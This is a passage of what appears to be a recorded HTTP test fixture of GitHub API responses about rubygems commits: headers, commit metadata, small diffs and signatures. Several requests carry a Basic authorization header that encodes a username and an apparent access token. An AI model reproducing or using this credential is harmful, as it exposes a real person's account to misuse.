1c628ea6f930a0c09d","html_url":"https://github.com/rubygems/rubygems/commit/b265097e9385cff31c5e2b1c628ea6f930a0c09d"}],"stats":{"total":22,"additions":15,"deletions":7},"files":[{"sha":"6b4e0fdf236aa29484d38db811317289656a816d","filename":".travis.yml","status":"modified","additions":1,"deletions":6,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/64901088a213e3643eca7f1cbf84d5ca7121f486/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/64901088a213e3643eca7f1cbf84d5ca7121f486/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=64901088a213e3643eca7f1cbf84d5ca7121f486","patch":"@@ -48,9 +48,4 @@ matrix:\n env: \"TEST_TOOL=rubygems YAML=syck\"\n allow_failures:\n - rvm: ruby-head\n- - rvm: 1.8.7\n- env: \"TEST_TOOL=bundler RGV=master\"\n- - rvm: 1.9.3\n- env: \"TEST_TOOL=bundler RGV=master\"\n- - rvm: 2.0.0\n- env: \"TEST_TOOL=bundler RGV=master\"\n+"},{"sha":"e380c1dd665f90b674a851ea08640fe085afcc0b","filename":"Manifest.txt","status":"modified","additions":14,"deletions":1,"changes":15,"blob_url":"https://github.com/rubygems/rubygems/blob/64901088a213e3643eca7f1cbf84d5ca7121f486/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/64901088a213e3643eca7f1cbf84d5ca7121f486/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=64901088a213e3643eca7f1cbf84d5ca7121f486","patch":"@@ -27,6 +27,7 @@ bundler/exe/bundle\n bundler/exe/bundle_ruby\n bundler/exe/bundler\n bundler/lib/bundler.rb\n+bundler/lib/bundler/build_metadata.rb\n bundler/lib/bundler/capistrano.rb\n bundler/lib/bundler/cli.rb\n bundler/lib/bundler/cli/add.rb\n@@ -45,6 +46,7 @@ bundler/lib/bundler/cli/init.rb\n bundler/lib/bundler/cli/inject.rb\n bundler/lib/bundler/cli/install.rb\n bundler/lib/bundler/cli/issue.rb\n+bundler/lib/bundler/cli/list.rb\n bundler/lib/bundler/cli/lock.rb\n bundler/lib/bundler/cli/open.rb\n bundler/lib/bundler/cli/outdated.rb\n@@ -58,6 +60,7 @@ bundler/lib/bundler/cli/viz.rb\n bundler/lib/bundler/compact_index_client.rb\n bundler/lib/bundler/compact_index_client/cache.rb\n bundler/lib/bundler/compact_index_client/updater.rb\n+bundler/lib/bundler/compatibility_guard.rb\n bundler/lib/bundler/constants.rb\n bundler/lib/bundler/current_ruby.rb\n bundler/lib/bundler/definition.rb\n@@ -93,6 +96,7 @@ bundler/lib/bundler/installer/gem_installer.rb\n bundler/lib/bundler/installer/parallel_installer.rb\n bundler/lib/bundler/installer/standalone.rb\n bundler/lib/bundler/lazy_specification.rb\n+bundler/lib/bundler/lockfile_generator.rb\n bundler/lib/bundler/lockfile_parser.rb\n bundler/lib/bundler/match_platform.rb\n bundler/lib/bundler/mirror.rb\n@@ -105,9 +109,11 @@ bundler/lib/bundler/plugin/installer.rb\n bundler/lib/bundler/plugin/installer/git.rb\n bundler/lib/bundler/plugin/installer/rubygems.rb\n bundler/lib/bundler/plugin/source_list.rb\n+bundler/lib/bundler/process_lock.rb\n bundler/lib/bundler/psyched_yaml.rb\n bundler/lib/bundler/remote_specification.rb\n bundler/lib/bundler/resolver.rb\n+bundler/lib/bundler/resolver/spec_group.rb\n bundler/lib/bundler/retry.rb\n bundler/lib/bundler/ruby_dsl.rb\n bundler/lib/bundler/ruby_version.rb\n@@ -116,13 +122,15 @@ bundler/lib/bundler/rubygems_gem_installer.rb\n bundler/lib/bundler/rubygems_integration.rb\n bundler/lib/bundler/runtime.rb\n bundler/lib/bundler/settings.rb\n+bundler/lib/bundler/settings/validator.rb\n bundler/lib/bundler/setup.rb\n bundler/lib/bundler/shared_helpers.rb\n bundler/lib/bundler/similarity_detector.rb\n bundler/lib/bundler/source.rb\n bundler/lib/bundler/source/gemspec.rb\n bundler/lib/bundler/source/git.rb\n bundler/lib/bundler/source/git/git_proxy.rb\n+bundler/lib/bundler/source/metadata.rb\n bundler/lib/bundler/source/path.rb\n bundler/lib/bundler/source/path/installer.rb\n bundler/lib/bundler/source/rubygems.rb\n@@ -136,8 +144,10 @@ bundler/lib/bundler/ssl_certs/rubygems.global.ssl.fastly.net/DigiCertHighAssuran\n bundler/lib/bundler/ssl_certs/rubygems.org/AddTrustExternalCARoot.pem\n bundler/lib/bundler/stub_specification.rb\n bundler/lib/bundler/templates/Executable\n+bundler/lib/bundler/templates/Executable.bundler\n bundler/lib/bundler/templates/Executable.standalone\n bundler/lib/bundler/templates/Gemfile\n+bundler/lib/bundler/templates/gems.rb\n bundler/lib/bundler/templates/newgem/.travis.yml.tt\n bundler/lib/bundler/templates/newgem/CODE_OF_CONDUCT.md.tt\n bundler/lib/bundler/templates/newgem/Gemfile.tt\n@@ -164,7 +174,9 @@ bundler/lib/bundler/ui/rg_proxy.rb\n bundler/lib/bundler/ui/shell.rb\n bundler/lib/bundler/ui/silent.rb\n bundler/lib/bundler/uri_credentials_filter.rb\n+bundler/lib/bundler/vendor/fileutils/lib/fileutils.rb\n bundler/lib/bundler/vendor/molinillo/lib/molinillo.rb\n+bundler/lib/bundler/vendor/molinillo/lib/molinillo/compatibility.rb\n bundler/lib/bundler/vendor/molinillo/lib/molinillo/delegates/resolution_state.rb\n bundler/lib/bundler/vendor/molinillo/lib/molinillo/delegates/specification_provider.rb\n bundler/lib/bundler/vendor/molinillo/lib/molinillo/dependency_graph.rb\n@@ -219,6 +231,7 @@ bundler/lib/bundler/vendor/thor/lib/thor/shell/color.rb\n bundler/lib/bundler/vendor/thor/lib/thor/shell/html.rb\n bundler/lib/bundler/vendor/thor/lib/thor/util.rb\n bundler/lib/bundler/vendor/thor/lib/thor/version.rb\n+bundler/lib/bundler/vendored_fileutils.rb\n bundler/lib/bundler/vendored_molinillo.rb\n bundler/lib/bundler/vendored_persistent.rb\n bundler/lib/bundler/vendored_thor.rb\n@@ -238,6 +251,7 @@ bundler/man/bundle-info.ronn\n bundler/man/bundle-init.ronn\n bundler/man/bundle-inject.ronn\n bundler/man/bundle-install.ronn\n+bundler/man/bundle-list.ronn\n bundler/man/bundle-lock.ronn\n bundler/man/bundle-open.ronn\n bundler/man/bundle-outdated.ronn\n@@ -249,7 +263,6 @@ bundler/man/bundle-update.ronn\n bundler/man/bundle-viz.ronn\n bundler/man/bundle.ronn\n bundler/man/gemfile.5.ronn\n-bundler/man/index.txt\n hide_lib_for_update/note.txt\n lib/rubygems.rb\n lib/rubygems/available_set.rb"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:01 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/b265097e9385cff31c5e2b1c628ea6f930a0c09d body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:01 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4461' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"9e487fd60715b4cfa80bc7b60d43bb38" Last-Modified: - Tue, 31 Oct 2017 19:38:42 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.062981' X-Github-Request-Id: - A294:4D95:F48023:1C83A5A:5A50E471 body: encoding: ASCII-8BIT string: '{"sha":"b265097e9385cff31c5e2b1c628ea6f930a0c09d","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-31T19:38:42Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-31T19:38:42Z"},"message":"Update vendored bundler to v1.16.0","tree":{"sha":"1d4c932664e9c4bed1dfd206eaf6fb95b75c6ad9","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1d4c932664e9c4bed1dfd206eaf6fb95b75c6ad9"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b265097e9385cff31c5e2b1c628ea6f930a0c09d","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+NFCAAoJEAEZW7MV3ahWltIP/2uyR565v+av0ly5/VpdDUBp\n4ektfV4v6nE6rrwXGZH3X1zN56ELZVKejenbq9pYtq9xr4N6wLPJMXxH7EfmN191\nmY0uilpmCa/G/UTp2+42cu6pA0KRotRHLF1g8zEcvihSiovgA8hqs3C26JcNfYn4\n9TirAxM5FLVdBAJF5M/jY51Zbr5Lh/T9qkvqYxYQH+dYvHqdOs0XxJW6QnNOygjK\nxD4jHAxGIbbcj3FroAI6U0GXMV9dJMibeQE0j6p/dFvCWN+OHg++MzB0aTJsLcVV\nwFIwnAFKVbvNF5d6CLc9Q3SY3Wgy0n5XPzGg91s0/5pVPQDt29AaHUS55zc99j13\nTlkSgJu/uVARtuC/lVF+726l5J9UCQ+JVM8bD9HNawc7qWnmvW+Dzz+mdzbmNYpb\nDHpco6Gqy0VDMAZVgf8Q318BrrqRoBhsz4f4B1uOBEqmIrSsn5MikSV9uQZH985A\nT5fYnZJowli99IQQIjnFxqK57SIsh+ppXzc+03NGYnJWjM21Msuj0BizCPzQnhOy\nSFkh7I5zPcamIU7gpMFPAfzqUklXuC+seRzIARmNHM1LVfLWE4hQRGdl/Vc+zN9q\nBMaDakezd1kTTM1x/R477nAC0noRHiPtvA7r5KJKIim8YWeWMPLiyMadWwZ3hPYs\n76+5Gwd9rFe2CopWfB+6\n=fqjW\n-----END PGP SIGNATURE-----","payload":"tree 1d4c932664e9c4bed1dfd206eaf6fb95b75c6ad9\nparent 7106c8d706d63ce017c7afb696032c27c0a781a1\nauthor Samuel Giddins 1509478722 -0500\ncommitter Samuel Giddins 1509478722 -0500\n\nUpdate vendored bundler to v1.16.0\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b265097e9385cff31c5e2b1c628ea6f930a0c09d","html_url":"https://github.com/rubygems/rubygems/commit/b265097e9385cff31c5e2b1c628ea6f930a0c09d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b265097e9385cff31c5e2b1c628ea6f930a0c09d/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"7106c8d706d63ce017c7afb696032c27c0a781a1","url":"https://api.github.com/repos/rubygems/rubygems/commits/7106c8d706d63ce017c7afb696032c27c0a781a1","html_url":"https://github.com/rubygems/rubygems/commit/7106c8d706d63ce017c7afb696032c27c0a781a1"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"10f20fa33bc36371cbad00106487c6eb22616ec7","filename":"bundler","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":null,"raw_url":null,"contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/bundler?ref=b265097e9385cff31c5e2b1c628ea6f930a0c09d","patch":"@@ -1 +1 @@\n-Subproject commit c3fe3e6f2a93c30869c70ea17a10041a9b2d27dd\n+Subproject commit 10f20fa33bc36371cbad00106487c6eb22616ec7"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:01 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/444cac36543dd8f68717df24576292bedabdb12a body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:01 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4460' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a8e6d44b76cb158b3ab2751113720e51" Last-Modified: - Tue, 31 Oct 2017 06:58:06 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.052016' X-Github-Request-Id: - C566:4D96:97176D:13A3A4C:5A50E471 body: encoding: ASCII-8BIT string: '{"sha":"444cac36543dd8f68717df24576292bedabdb12a","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-31T06:58:06Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-31T06:58:06Z"},"message":"Expand to entry title for rubygems users.","tree":{"sha":"aea02be09479e11b1701a7d97aa9fc95e871de3a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/aea02be09479e11b1701a7d97aa9fc95e871de3a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/444cac36543dd8f68717df24576292bedabdb12a","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAln4Hv4ACgkQ+c8TQXJk\n+sJZwQgA11ZS7YmvlLI/6cBhwJJoK8KMaASnvK0o4DXnbXMoM/p70MFdFuLXwQXi\nsgZvEuSGsnaacdOq3wOwuLZlJIeQl4G/O69wm3WUmGHL+x1rCbAO2jZLuKD20XuN\nP0BT9sUJ3mIiBueAZ2d0jN7AKr+YoIp6XGuqP6DJeuGt/hYlUndGwr72SUYNKvVa\nFme689WtcN7zDd0bupTx7ObnndrAzrW2NzgXRF+yfpFDpGEQBTeK9nlc5BphXhhU\nV0LPXjJfYrOuDHTA15DEiuzO2v4lEeIxm6MXx46DXkh4z8dOMZJINBVDT95HHPKw\n0F7/bH9Y9xRI39bpPvavKsTAn3+dvg==\n=jO12\n-----END PGP SIGNATURE-----","payload":"tree aea02be09479e11b1701a7d97aa9fc95e871de3a\nparent bdefd39ff0e9ca5dd3fb259ffe40cd6c93792227\nauthor SHIBATA Hiroshi 1509433086 +0900\ncommitter SHIBATA Hiroshi 1509433086 +0900\n\nExpand to entry title for rubygems users.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/444cac36543dd8f68717df24576292bedabdb12a","html_url":"https://github.com/rubygems/rubygems/commit/444cac36543dd8f68717df24576292bedabdb12a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/444cac36543dd8f68717df24576292bedabdb12a/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"bdefd39ff0e9ca5dd3fb259ffe40cd6c93792227","url":"https://api.github.com/repos/rubygems/rubygems/commits/bdefd39ff0e9ca5dd3fb259ffe40cd6c93792227","html_url":"https://github.com/rubygems/rubygems/commit/bdefd39ff0e9ca5dd3fb259ffe40cd6c93792227"}],"stats":{"total":3,"additions":2,"deletions":1},"files":[{"sha":"d2ed01770d0be688c045752a2647cd172cc07ff5","filename":"History.txt","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/444cac36543dd8f68717df24576292bedabdb12a/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/444cac36543dd8f68717df24576292bedabdb12a/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=444cac36543dd8f68717df24576292bedabdb12a","patch":"@@ -84,7 +84,8 @@ Minor enhancements:\n \n Compatibility changes:\n \n-* ubygems.rb is unavailable on Ruby 2.5. Pull request #2028 #2027 #2029\n+* Use `-rrubygems` instead of `-rubygems.rb`. Because ubygems.rb is\n+ unavailable on Ruby 2.5. Pull request #2028 #2027 #2029\n by SHIBATA Hiroshi.\n * Deprecate Gem::InstallerTestCase#util_gem_bindir and\n Gem::InstallerTestCase#util_gem_dir. Pull request #1729 by Jon Moss."}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:01 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/bdefd39ff0e9ca5dd3fb259ffe40cd6c93792227 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:02 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4459' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"93c033799b4b01d9c0d95554904ce643" Last-Modified: - Mon, 30 Oct 2017 10:56:50 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.088707' X-Github-Request-Id: - A298:4D96:971785:13A3A8E:5A50E471 body: encoding: ASCII-8BIT string: !binary |- eyJzaGEiOiJiZGVmZDM5ZmYwZTljYTVkZDNmYjI1OWZmZTQwY2Q2YzkzNzkyMjI3IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMC0zMFQxMDo1Njo1MFoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTEwLTMwVDEwOjU2OjUwWiJ9LCJtZXNzYWdlIjoiR2VuZXJhdGUgYW5kIGNhdGVnb3JpemUgY2hhbmdlbG9nIGl0ZW1zIGZvciBSRyAyLjcuMCByZWxlYXNlcy4iLCJ0cmVlIjp7InNoYSI6ImYyOGYxYjU4YzRiMGQwMzAwYmI4MDhlYmNkYjE5Y2M1YzYxYjk0M2MiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy9mMjhmMWI1OGM0YjBkMDMwMGJiODA4ZWJjZGIxOWNjNWM2MWI5NDNjIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvYmRlZmQzOWZmMGU5Y2E1ZGQzZmIyNTlmZmU0MGNkNmM5Mzc5MjIyNyIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuXG5pUUV6QkFBQkNBQWRGaUVFNTBMUjkwSk9vLzNwSXZkbStjOFRRWEprK3NJRkFsbjNCWE1BQ2drUStjOFRRWEprXG4rc0lpbWdnQXdEeGlocWF0bmtEcndmRXZpVUdLTngyQ285dUhjMzlZS2FRU1U0NmRqRnVIWFd1RnZ4ZnFjbmJyXG5lcnFzUlhiN3dKZ1JCMTVsMmxhLzNOdFVUVWhNeTBUYnVTdVNaMERXRTBNeW5pMVl4Q1ZZcWUyWHI4eFRLNWk0XG5SejVnUk9IKzB4cEw5SCtZK0l1eDdtemVHZ29zVCtiVlZod1ArZ2x0cjBYVzBZOGg3eERpMnU4Z2ZhUnRObzRlXG51aDUzV2VNU2Y0WDVIWmZDMWhVQ2JOekNiclJaWXZnQUFOaXZxNEVFdlRtZlBUcFB1WWVGdjBMV0V4YTUrZ3VIXG5ZMytmM3lZdUNKclFTT2NUaXAyeCsyMy9NQWFybzZLRVFlL0M3YWg0Mk5IOXpCMXM5TjF5LzVSSUsyMDlQUkZaXG42K0plZWwxVVFzbzhWNDYvMGk5U0d2d0JoV2U5aVE9PVxuPWgxMEdcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIGYyOGYxYjU4YzRiMGQwMzAwYmI4MDhlYmNkYjE5Y2M1YzYxYjk0M2NcbnBhcmVudCA3MTA2YzhkNzA2ZDYzY2UwMTdjN2FmYjY5NjAzMmMyN2MwYTc4MWExXG5hdXRob3IgU0hJQkFUQSBIaXJvc2hpIDxoc2J0QHJ1YnktbGFuZy5vcmc+IDE1MDkzNjEwMTAgKzA5MDBcbmNvbW1pdHRlciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUwOTM2MTAxMCArMDkwMFxuXG5HZW5lcmF0ZSBhbmQgY2F0ZWdvcml6ZSBjaGFuZ2Vsb2cgaXRlbXMgZm9yIFJHIDIuNy4wIHJlbGVhc2VzLlxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYmRlZmQzOWZmMGU5Y2E1ZGQzZmIyNTlmZmU0MGNkNmM5Mzc5MjIyNyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9iZGVmZDM5ZmYwZTljYTVkZDNmYjI1OWZmZTQwY2Q2YzkzNzkyMjI3IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2JkZWZkMzlmZjBlOWNhNWRkM2ZiMjU5ZmZlNDBjZDZjOTM3OTIyMjcvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93a